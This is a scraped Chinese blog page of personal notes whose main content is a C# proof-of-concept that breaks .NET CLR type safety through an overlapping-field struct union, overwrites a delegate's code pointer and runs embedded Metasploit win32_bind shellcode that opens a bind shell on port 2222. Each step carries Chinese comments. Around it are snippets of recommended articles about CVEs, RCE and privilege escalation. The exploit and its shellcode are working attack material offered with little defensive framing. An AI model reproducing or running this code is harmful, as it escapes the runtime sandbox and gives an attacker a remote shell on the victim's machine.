.net exploit poc 笔记

从CVE到POC实战:手把手构建安全可控的漏洞验证环境 在网络安全领域,CVE(公共漏洞和暴露)是标准化漏洞标识,而POC(概念验证代码)则是验证漏洞真实性的关键。理解漏洞原理、搭建隔离环境、调试利用代码,构成了安全研究的核心闭环。通过容器化技术(如Docker)构建可控的靶机环境,结合Burp Suite、Wireshark等工具进行流量分析与调试,不仅能验证漏洞影响,更能深入理解攻击链与防御要点。这种从信息收集、环境搭建到代码审计的完整流程,对于渗透测试、安全评估和应急响应具有重要实践价值,帮助从业者在安全可控的前提下掌握漏洞验证的核心技能。 阅读详情
  1. using System;
  2. using System.IO;
  3. using System.Threading;
  4. using System.Text;
  5. using System.Runtime.InteropServices;
  6. class Union1
  7. {
  8.     public volatile int i = 0; //volatile 修饰为引用类型  这里不管有无修饰符与否都是值类型 长度=4
  9.     public int j;//长度=4
  10. }
  11. class Union2
  12. {
  13.     public  object o; //均为引用类型 (指针) 长度=4
  14.     public  int[] arr = null;// 长度=4
  15. }
  16. /// <summary>
  17. /// based on yunshu's 《使用安全的C#代码跳出CLR沙箱》
  18. /// 原理:
  19. /// 1.初始化一个方法 和一个数组
  20. /// 2.将方法的内存地址 和数组的内存地址 转换成int,使得修改int就可以改变方法和数组的内存地址
  21. /// 3.修改数组的的保存地址落到方法的代码段地址中
  22. /// 4.修改数组内容,达到修改方法的效果。
  23. /// </summary>
  24. class TypeSafetyExploitPoC
  25. {
  26.     [StructLayout(LayoutKind.Explicit)] //精确布局每个成员, Sequential 为顺序布局
  27.     struct UnsafeUnion
  28.     {
  29.         [FieldOffset(0)]//内存偏移0
  30.         internal Union1 u1;
  31.         [FieldOffset(0)]//内存偏移0 
  32.         internal Union2 u2;
  33.         //两个成员内存偏移都是0 且长度相同 导致内存重合
  34.     }
  35.     
  36.     static void DummyMethod()
  37.     {
  38.        //方法入口
  39.     }
  40.     internal static void Main(string[] args)
  41.     {
  42.         Union1 u1;
  43.         Union2 u2 = new Union2();//初始化 u2  存放了两个指针(object,array),每个4byte 
  44.         UnsafeUnion uu = new UnsafeUnion(); //在内存中精确布局结构
  45.         uu.u2 = u2;//赋值uu 的u2成员,由于uu.u1成员和uu.u2成员内存重合,uu.u1已经不为空
  46.         u1 = uu.u1;//赋值u1 u1的两个元素为 i,j ,此时就把u2的两个元素指针用u1.i 和u1.j 读出。
  47.         ThreadStart del = new ThreadStart(DummyMethod);//初始化一个方法入口
  48.         u2.o = del;//获取方法入口地址, 此时u1.i值就是 del方法的地址
  49.         u1.j = u1.i;//将u2.arr 指向del方法
  50.         u1.j = u2.arr[2]-12 ;//修改u2.arr的保存位置(指针),到指向方法的入口。也就是修改“方法”的代码段。
  51.         /* 方法在内存的结构 如果用array来读 没4byte 为一个元素 所以arr[2] 就是要找的   _methodPtrAux   
  52.                  790fd0f0  40000ff        4        System.Object  0 instance 021a1744 _target       --->调用源
  53.                  7910ebc8  4000100        8 ...ection.MethodBase  0 instance 021a18fc _methodBase   --->array[0]
  54.                  791016bc  4000101        c        System.IntPtr  1 instance 007C09FC _methodPtr    --->array[1]
  55.                  791016bc  4000102       10        System.IntPtr  1 instance 0029C040 _methodPtrAux --->array[2] 要把shellcode放到这前面
  56.        */
  57.         #region 修改数组内容--》修改方法的内容
  58.         MemoryStream mem = new MemoryStream();
  59.         BinaryWriter bw = new BinaryWriter(mem);
  60.         BinaryReader reader = new BinaryReader(mem);
  61.         try
  62.         {
  63.             // win32_bind -  EXITFUNC=thread LPORT=2222 Size=344 Encoder=PexFnstenvSub http://metasploit.com
  64.             byte[] shellcode = { 0x29, 0xc9, 0x83, 0xe9, 0xb0, 0xd9, 0xee, 0xd9, 0x74, 0x24, 0xf4, 0x5b, 0x81, 0x73, 0x13, 0x0e, 0x4b, 0x46, 0x7e, 0x83, 0xeb, 0xfc, 0xe2, 0xf4, 0xf2, 0x21, 0xad, 0x33, 0xe6, 0xb2, 0xb9, 0x81, 0xf1, 0x2b, 0xcd, 0x12, 0x2a, 0x6f, 0xcd, 0x3b, 0x32, 0xc0, 0x3a, 0x7b, 0x76, 0x4a, 0xa9, 0xf5, 0x41, 0x53, 0xcd, 0x21, 0x2e, 0x4a, 0xad, 0x37, 0x85, 0x7f, 0xcd, 0x7f, 0xe0, 0x7a, 0x86, 0xe7, 0xa2, 0xcf, 0x86, 0x0a, 0x09, 0x8a, 0x8c, 0x73, 0x0f, 0x89, 0xad, 0x8a, 0x35, 0x1f, 0x62, 0x56, 0x7b, 0xae, 0xcd, 0x21, 0x2a, 0x4a, 0xad, 0x18, 0x85, 0x47, 0x0d, 0xf5, 0x51, 0x57, 0x47, 0x95, 0x0d, 0x67, 0xcd, 0xf7, 0x62, 0x6f, 0x5a, 0x1f, 0xcd, 0x7a, 0x9d, 0x1a, 0x85, 0x08, 0x76, 0xf5, 0x4e, 0x47, 0xcd, 0x0e, 0x12, 0xe6, 0xcd, 0x3e, 0x06, 0x15, 0x2e, 0xf0, 0x40, 0x45, 0xaa, 0x2e, 0xf1, 0x9d, 0x20, 0x2d, 0x68, 0x23, 0x75, 0x4c, 0x66, 0x3c, 0x35, 0x4c, 0x51, 0x1f, 0xb9, 0xae, 0x66, 0x80, 0xab, 0x82, 0x35, 0x1b, 0xb9, 0xa8, 0x51, 0xc2, 0xa3, 0x18, 0x8f, 0xa6, 0x4e, 0x7c, 0x5b, 0x21, 0x44, 0x81, 0xde, 0x23, 0x9f, 0x77, 0xfb, 0xe6, 0x11, 0x81, 0xd8, 0x18, 0x15, 0x2d, 0x5d, 0x18, 0x05, 0x2d, 0x4d, 0x18, 0xb9, 0xae, 0x68, 0x23, 0x4e, 0xd0, 0x68, 0x18, 0xcf, 0x9f, 0x9b, 0x23, 0xe2, 0x64, 0x7e, 0x8c, 0x11, 0x81, 0xd8, 0x21, 0x56, 0x2f, 0x5b, 0xb4, 0x96, 0x16, 0xaa, 0xe6, 0x68, 0x97, 0x59, 0xb4, 0x90, 0x2d, 0x5b, 0xb4, 0x96, 0x16, 0xeb, 0x02, 0xc0, 0x37, 0x59, 0xb4, 0x90, 0x2e, 0x5a, 0x1f, 0x13, 0x81, 0xde, 0xd8, 0x2e, 0x99, 0x77, 0x8d, 0x3f, 0x29, 0xf1, 0x9d, 0x13, 0x81, 0xde, 0x2d, 0x2c, 0x1a, 0x68, 0x23, 0x25, 0x13, 0x87, 0xae, 0x2c, 0x2e, 0x57, 0x62, 0x8a, 0xf7, 0xe9, 0x21, 0x02, 0xf7, 0xec, 0x7a, 0x86, 0x8d, 0xa4, 0xb5, 0x04, 0x53, 0xf0, 0x09, 0x6a, 0xed, 0x83, 0x31, 0x7e, 0xd5, 0xa5, 0xe0, 0x2e, 0x0c, 0xf0, 0xf8, 0x50, 0x81, 0x7b, 0x0f, 0xb9, 0xa8, 0x55, 0x1c, 0x14, 0x2f, 0x5f, 0x1a, 0x2c, 0x7f, 0x5f, 0x1a, 0x13, 0x2f, 0xf1, 0x9b, 0x2e, 0xd3, 0xd7, 0x4e, 0x88, 0x2d, 0xf1, 0x9d, 0x2c, 0x81, 0xf1, 0x7c, 0xb9, 0xae, 0x85, 0x1c, 0xba, 0xfd, 0xca, 0x2f, 0xb9, 0xa8, 0x5c, 0xb4, 0x96, 0x16, 0xe1, 0x85, 0xa6, 0x1e, 0x5d, 0xb4, 0x90, 0x81, 0xde, 0x4b, 0x46, 0x7e };
  65.             bw.Write(shellcode, 0, shellcode.Length);
  66.         }
  67.         catch (Exception e)
  68.         {
  69.             Console.WriteLine("Write error." + e.Message);
  70.         }
  71.         try
  72.         {
  73.             byte[] tmp = mem.ToArray();
  74.             for (int i = 0; i < tmp.Length / 4; i++)
  75.             {
  76.                 u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
  77.             }
  78.             del();
  79.         }
  80.         catch
  81.         {
  82.         }
  83.     #endregion
  84.     }
  85. }
CVE-2024-50623漏洞剖析:任意文件读取原理、POC与安全防护 任意文件读取是Web应用安全中的经典高危漏洞,其核心原理在于应用程序未对用户输入的文件路径参数进行充分验证和过滤,导致攻击者可通过目录遍历(Path Traversal)等手法访问服务器上的敏感文件。从技术实现角度看,这类漏洞常源于代码中直接将用户输入拼接到基础路径,缺乏规范化处理和路径边界检查。其技术价值在于揭示了输入验证的重要性,是安全开发中“永不信任用户输入”原则的典型反面案例。在应用场景上,此类漏洞广泛存在于文件下载、日志查看、数据同步等接口,对企业的数据安全和合规性构成直接威胁。本文以CVE-20 阅读详情

相关推荐

Linux内核漏洞CVE-2010-3863深度剖析:从信息泄露到本地提权

在操作系统安全领域,内存安全是核心议题之一。其原理在于确保程序对内存的访问严格限定在合法边界内,任何越界读写都可能导致信息泄露或系统崩溃,进而破坏内核的完整性。这类漏洞的技术价值在于,它们往往能绕过现代操作系统的防护机制,如地址空间布局随机化(KASLR)。典型的应用场景包括本地权限提升攻击,攻击者利用内核中的逻辑缺陷,从普通用户权限获取最高控制权。本文聚焦于Linux内核中一个经典案例,即由`sendmsg`系统调用与`SO_BSDCOMPAT`套接字选项交互不当引发的**条件竞争**漏洞,该漏洞最终可导

weixin_30632883的博客 368

How to Using exploits.

国外的资料,英文不好的话自己查下字典 By RoMeO  I will discuss ways to handle and compile exploits. Alot of exploits come with "noob protection". Noob protection being they will move or add sections of text or

Gabriel的专栏 897

从零基础到精通:50个高危RCE漏洞实战指南与防御策略

远程代码执行(RCE)是网络安全领域的核心威胁之一,它允许攻击者在目标系统上执行任意命令,从而获取系统控制权。其原理通常源于软件在处理用户输入时存在缺陷,如缓冲区溢出、命令注入或不安全的反序列化,导致攻击者能够注入并执行恶意代码。掌握RCE漏洞的利用与防御,对于构建有效的安全防护体系具有极高的技术价值。无论是红队进行渗透测试、漏洞验证,还是蓝队进行威胁狩猎、应急响应,深入理解RCE都是提升实战能力的关键。在实际应用场景中,从广泛使用的Web服务器、开发框架到分布式编译工具,都可能成为RCE的攻击面。本文聚焦

weixin_34242509的博客 414

netforce exploit

很久没有上netforce了,当年做了几道javascript的题就撂下了.现在寻思着拿起来,但实在是被js恶心到了,于是跳过了上面的很多东西,直接到了下面的exploit部分.二话不说开战吧 Training - Nice include system 从标题到url,无不透着一股提示的味道. 瞄一眼url,就能看出这个网页的后台语言是php.include无疑

陈文青 1254

ASP.NET ViewState反序列化漏洞剖析:从machineKey泄露到远程代码执行

在Web应用安全领域,反序列化漏洞因其可直接导致远程代码执行(RCE)而备受关注。ASP.NET框架中的ViewState机制,原本用于在客户端保存页面状态,其安全性依赖于machineKey进行完整性校验。当该密钥因硬编码或配置不当而泄露时,攻击者便能伪造签名,绕过验证,触发危险的反序列化操作。这种技术常被用于渗透测试和漏洞验证,其核心价值在于揭示了配置安全在整体防御中的重要性。典型的应用场景包括企业级文件管理系统的安全审计,例如CentreStack等产品。本文以CVE-2025-30406为例,深入解

weixin_34216107的博客 494

Linux内核CVE-2024-1086漏洞:从UAF原理到AI辅助提权实战

释放后使用(UAF)是操作系统内核中一类经典的内存安全漏洞,其原理在于程序在释放某块内存后,未能及时清空指向该内存的指针,导致后续代码仍可能通过这个悬垂指针访问已释放的内存区域。这种漏洞破坏了内存隔离的基本安全假设,攻击者可通过精心构造的堆布局,在释放的内存区域中植入可控数据,从而篡改内核关键数据结构或函数指针。在Linux内核安全领域,UAF漏洞常被用于本地权限提升,攻击者通过劫持控制流修改进程凭证结构,最终获得root权限。本文以Netfilter子系统中的CVE-2024-1086漏洞为案例,深入剖析

weixin_30292745的博客 451

Token Kidnapping Windows 2003 exploit

在聚合里看到人家测试,和刺聊了一下,刺居然告诉我MS没有修补这个漏洞,马上测试 大家看图 1.jpg (263.08 KB) 2008-10-9 15:08 2.jpg (167.91 KB) 2008-10-9 15:08 好像是某次大会公布出来的 http://www.milw0rm.com/exploits/6705 (Fr...

TOMMY201112的博客 220

Mythos模型实现漏洞发现到利用的端到端自动化

漏洞利用(exploit)是网络安全的核心能力之一,其本质是将漏洞识别、环境分析、payload构造与绕过策略等多环节融合为可执行攻击链。传统方法依赖安全专家数天人工串联,而新一代AI模型正推动‘漏洞利用速度’(exploit velocity)跃升——通过深度上下文建模、神经符号混合推理与工具链原生集成,实现从源码/配置中自动推导高鲁棒性exploit。该能力已超越SWE-bench等基准测试,落地于CVE挖掘、云原生审计与APT模拟等真实场景。Claude Mythos Preview作为典型代表,标志

424

MS Windows 2003 Token Kidnapping Local Exploit PoC

 提权很好用,直接system。文章末尾贴个TR那里的测试图。编译好的:http://www.blogjava.net/Files/baicker/Churrasco.rar (via 009)From:http://nomoreroot.blogspot.com/2008/10/windows-2003-poc-exploit-for-token.htmlIt has been a lo

844

别再只复现了!用Docker 5分钟搭建Drupal 7.x靶场,实战CVE-2018-7600漏洞

本文详细介绍了如何使用Docker在5分钟内快速搭建Drupal 7.x漏洞靶场,实战复现CVE-2018-7600漏洞。通过容器化技术解决传统漏洞复现的环境依赖复杂、系统污染风险等问题,提供自动化复现方案和可移植的实验体系,显著提升网络安全学习效率。

weixin_30889885的博客 404

ArcGIS Server任意文件读取漏洞(CVE-2024-50623)复现与深度解析

路径穿越(Directory Traversal)是一种常见的Web安全漏洞,其原理在于应用程序未对用户输入的文件路径进行充分验证,攻击者通过构造包含“../”等序列的特殊路径,可突破预设目录限制,访问服务器文件系统的任意位置。该漏洞的技术价值在于其作为信息收集的关键跳板,能够为后续攻击提供诸如数据库连接字符串、密钥文件等敏感信息,在渗透测试中具有重要作用。其典型应用场景广泛存在于各类Web应用和服务中,尤其是那些提供文件访问或路径参数处理的接口。本文聚焦于地理信息系统(GIS)领域广泛使用的ArcGIS

weixin_34253126的博客 384

JNDI-Inject-Exploit回显技术:命令执行结果获取的5种实用方法

JNDI-Inject-Exploit是一款专注于解决FastJson、Jackson、Log4j2等场景下高版本JDK绕过问题的安全工具,其核心功能之一就是实现命令执行结果的回显。在渗透测试中,能否有效获取命令执行结果直接影响漏洞利用的效率,本文将详细介绍该工具中5种实用的回显技术,帮助安全测试人员快速掌握命令执行结果获取方法。 ## 1. 中间件适配型回显:Tomcat全版本覆盖方案 To

gitblog_01050的博客 1028

网络安全工具Docker容器渗透测试工具CDK使用

Evaluate: 容器内部信息收集,以发现潜在的弱点便于后续利用。Exploit: 提供容器逃逸、持久化、横向移动等利用方式。Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

SHELLCODE_8BIT的博客 1603

漏扫发现-Web服务篇&Poc开发&Nuclei项目&Yaml语法&Burp插件生成&数据匹配&交互提取

知识点 1、Nuclei-Poc开发-环境配置&编写流程 2、Nuclei-Poc开发-Yaml语法&匹配提取 3、Nuclei-Poc开发-BurpSuite一键生成插件

SuperherRo的博客 2891

Abel逆变换及其求解方法

Abel逆变换常应用在轴对称的、光学薄的火焰、羽流或等离子体重建。

weixin_49783507的博客 8370

Golang实战:用Quic-Go v0.46.0搭建高性能文件传输服务(附完整代码)

本文详细介绍了如何使用Golang和Quic-Go v0.46.0构建高性能文件传输服务,涵盖服务端和客户端的完整实现。通过QUIC协议的多路复用、零RTT连接等特性,显著提升文件传输效率,特别适合高延迟或不稳定网络环境。文章提供完整代码示例和性能调优技巧,帮助开发者快速部署高效的文件传输解决方案。

weixin_33737134的博客 448

提升权限_权限提升之快速确定可用POC

“权限提升之内核漏洞”如何快速找到可用POC将决定后渗透的成功效率01—Windows#适用测试环境:shell或低权限用户情况下;#资源下载:https://github.com/bitsadmin/wesnghttps://github.com/chroblert/WindowsVulnScan#资源1操作流程:1.利用已知的shell或低权限执行systeminfo2.将syst...

weixin_39775127的博客 403

2025年普通人转向人工智能运维(AIOps)学习建议(附最新技术实践与资源)

AIOps不仅是技术的叠加,更是运维流程的重构。建议通过“学习-实践-反馈”循环,逐步从工具使用者成长为解决方案设计者。如需完整资源链接,可访问上述推荐的优快云博客及GitHub仓库。

资深全栈架构师,乐于在 优快云 分享技术见解,与大家携手共进,共攀技术巅峰! 3096

SpoolFool实战演示:3步实现Windows本地权限提升(附PoC截图详解)

SpoolFool是一款针对CVE-2022-21999漏洞的本地权限提升工具,专门利用Windows打印后台处理程序漏洞实现从普通用户到系统管理员权限的快速提升。本文将通过简单易懂的3步教程,带你深入了解如何利用这个强大的权限提升工具,并附上详细的PoC截图解析。🛠️ ## 什么是CVE-2022-21999漏洞? CVE-2022-21999是Windows打印后台处理程序中的一个严重本

gitblog_01079的博客 816

一、5.8GHz射频接收机链路仿真

5.8GHz射频接收机链路仿真 一、5.8GHz射频接收机链路仿真 文章目录5.8GHz射频接收机链路仿真目的一、原理1、仿真工具2、二次下变频超外超接收机二、要求三、内容总结 目的   1、熟悉射频接收机整体结构。   2、学习使用MATLAB工具进行行为级仿真。   3、进行简单的通信链路预算。   4、直观感受接收机各个模块对整体性能的影响。   5、分析增益、线性度、噪声系数等参数。 一、原理 1、仿真工具   MATLAB是一款功能强大的数学软件,针对不同领域提供各种工具箱,帮助设计者快

平乾的博客 6760

深度解析跨境支付之业务架构

详解跨境支付之业务架构

weixin_47493863的博客 1878

iis6+asp.net服务器致命漏洞

前天同事发现了这个漏洞,今天我又在朋友的空间测试了下,确实可以运行一切命令, 至今为止,MS没有出补丁,估计中国又增加成千上万的肉鸡了。DDOS又要更猛了. It has been a long time since Token Kidnapping presentation (http://www.argeniss.com/research/TokenKidnapping....

diedangxiang4092的博客 179

mmdetection 实战:基于Mask R-CNN与自定义COCO数据集的目标检测全流程解析

本文详细解析了如何使用mmdetection框架和Mask R-CNN模型,基于自定义COCO数据集完成目标检测任务的全流程。内容涵盖环境搭建、数据格式转换、配置文件定制化、模型训练与评估等核心步骤,并提供了针对工业缺陷检测场景的实用调优思路与避坑指南,帮助开发者高效构建高性能检测模型。

weixin_29046611的博客 136

红队实战:从RCE漏洞筛选到武器化的完整攻防指南

远程代码执行(RCE)作为网络安全领域的高危漏洞类型,其核心原理在于攻击者能够通过特定输入在目标系统上执行任意命令。理解RCE的底层机制,例如命令注入、反序列化或表达式语言滥用,是评估漏洞危害和构建防御体系的基础。从技术价值看,RCE漏洞直接影响系统的机密性、完整性和可用性,是攻防演练中的关键突破点。在实际应用场景中,RCE常出现在Web应用框架、中间件及广泛使用的开源组件中,例如Spring Framework、Log4j2等。本文聚焦于如何基于公开的PoC(概念验证),高效筛选具有实战价值的RCE漏洞,

weixin_34161029的博客 409

3D深度饼图的QT实现

首先,我们需要创建一个QT项目并创建一个窗口,用于显示我们的饼图。在QT Creator中,选择创建一个新的QT Widgets应用程序项目,并创建一个新的窗口类。在本文中,我将介绍如何使用QT实现一个3D深度饼图(Pie 3D)的可视化效果。在构造函数中,我们将创建一个饼图(QChartView)并设置饼图的数据。这是一个简单的示例,您可以根据需要自定义和扩展代码来创建更复杂的饼图。现在,我们已经完成了3D深度饼图的QT实现。您将看到一个具有相应数据的3D深度饼图显示在窗口中。3D深度饼图的QT实现。

CodeJolt的博客 277

pb插入ole控件点击insert+control时自动关闭解决办法

也就是说pb搜索CLSID的子项保存在OLE Object Bitmaps中,当搜索CLSID中的DLL或OCX控件和PB有冲突时,CLSID后面的DLL、OCX控件就不会保存在OLE Object Bitmaps中,也就是说OLE Object Bitmaps没有完全加载所有控件,有的控件冲突导致中断使PB报错,找出冲突的控件是关键。进行对出问题的控件反注册,如果提示反注册成功,打开PB的OLE控件看是否报错,如果还报错返回步骤(三)循环查找。,再进入注册表看到的是最正确的。来注册会莫名的冲突,但是用。

悠闲饭团的博客 710
上一篇: “鬼页” 继续
下一篇: AIX shell
cnqing
博客等级 码龄22年 16粉丝 39原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值